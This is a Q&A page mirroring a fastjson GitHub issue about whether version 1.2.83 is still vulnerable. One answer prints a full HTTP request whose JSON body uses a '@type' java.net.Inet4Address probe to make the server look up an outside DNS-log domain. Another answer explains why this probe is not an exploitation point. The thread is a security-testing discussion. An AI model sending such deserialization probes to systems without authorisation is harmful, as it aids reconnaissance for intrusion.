fastjson 升级到1.2.83还是存在安全漏洞问题（ Upgrading to 1.2.83 still has security vulnerabilities）

r9f1avp5 于 6个月前发布在其他

关注(0)|答案(5)|浏览(65)

项目代码路径（Project Code Path）： https://github.com/wuyaozong-qd/fastjsonTest
1.2.83版本情况下，使用burp或者yakit测试结果发现漏洞（In the case of version 1.2.83, vulnerabilities were found using burp or yakit testing results）：

相同代码升级到2.0.39未发现漏洞（Upgrade the same code to 2.0.39 without discovering any vulnerabilities）；

fastjson

来源：https://github.com/alibaba/fastjson/issues/4418

5条答案

按热度按时间

7gs2gvoe1#

yakit web Fuzzer相关测试数据包（Yakit web Fuzzer related testing data package）：
`POST /server/test/handle HTTP/1.1
Host: 10.11.7.76:8003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 116

{"data":{"@type":"java.net.Inet4Address","val":"ayzjtuzdmp.dnstunnel.run"}}`

赞(0）回复(0）举报 6个月前

ygya80vv2#

你这个java.net.Inet4Address，本来就在IdentityHashMap，我觉得你说的但不是漏洞利用点，利用其他触发类漏洞需要进行开启autotype，除非找到了其他的绕过黑名单类